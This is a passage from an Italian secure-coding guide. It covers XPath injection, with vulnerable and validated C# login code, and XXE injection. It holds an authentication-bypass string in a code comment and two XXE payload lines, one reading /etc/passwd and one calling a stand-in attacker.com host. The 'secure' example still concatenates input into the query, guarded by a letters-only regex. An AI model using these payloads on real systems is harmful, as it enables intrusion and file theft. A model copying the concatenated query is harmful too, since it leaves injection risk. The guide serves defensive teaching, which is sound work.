Gli attacchi XPath Injection sono possibili quando un sito Web utilizza le informazioni fornite dall'utente per costruire una query XPath per i dati XML. Inviando informazioni intenzionalmente malformate nel sito Web, un utente malintenzionato può scoprire come sono strutturati i dati XML o accedere a dati a cui normalmente non avrebbe accesso. Potrebbe persino essere in grado di elevare i suoi privilegi sul sito Web se i dati XML vengono utilizzati per l'autenticazione (come un file utente basato su XML).

Come difendersi

- Evitare che la costruzione della query XPath dipenda dalle informazioni inserite dall'utente. Possibilmente mapparla con i parametri utente mantenendo la separazione tra dati e codice. Nel caso fosse necessario includere l'input dell'utente nella query, questo dovrà essere precedentemente validato.
- Validare tutti gli input, indipendentemente dalla loro provenienza. La validazione dovrebbe essere basata su una white list (si dovrebbero accettare solo i dati che adattano a una struttura specificata, scartando quelli che non la rispettano). Occorre controllare il tipo del dato, la sua dimensione, l'intervallo di validità (range), il formato ed eventuali valori attesi (white list).

Esempio:
Codice vulnerabile

```
public IActionResult Autenticazione(string nomeutente, string password)
{
     // Non sicuro. Un attaccante può aggirare
   // l'autenticazione modificando il valore di nomeutente con "' or 1=1 or ''='"
    String espressione = "/utenti/nomeutente[@nome='" + nomeutente +
      "' and @password='" + password + "']";

    return Content(doc.SelectSingleNode(espressione) !=
             null ? "success" : "fail");
 }
```

Codice sicuro

```
public IActionResult Autenticazione(string nomeutente, string password)
{
 // Limita nome utente e passwordword alle sole lettere alfabetiche
 if (!Regex.IsMatch(nomeutente, "^[a-zA-Z]+$") ||
   !Regex.IsMatch(password, "^[a-zA-Z]+$"))
 {
   return BadRequest();
 }

 String espressione = "/utenti/nomeutente[@nome='" + nomeutente +
           "' and @password='" + password + "']";
 return Content(doc.SelectSingleNode(espressione) != null ? "success" : "fail");
}
```

Per ulteriori informazioni si veda: http://cwe.mitre.org/data/definitions/643.html,
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection').

7.6.9 XML External Entity (XXE) injection

Come riconoscerla

Se l'applicazione web riceve in input un documento XML che consente l'elaborazione di entità esterne, dichiarate nel DTD, il sistema potrebbe essere esposto a possibili attacchi di tipo XXE. Se viene effettuato il parsing di entità create ad arte, come nell'esempio seguente, potrebbero essere visualizzate dall'attaccante le password di sistema oppure eseguito del codice malevolo.
Esempio:

```
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```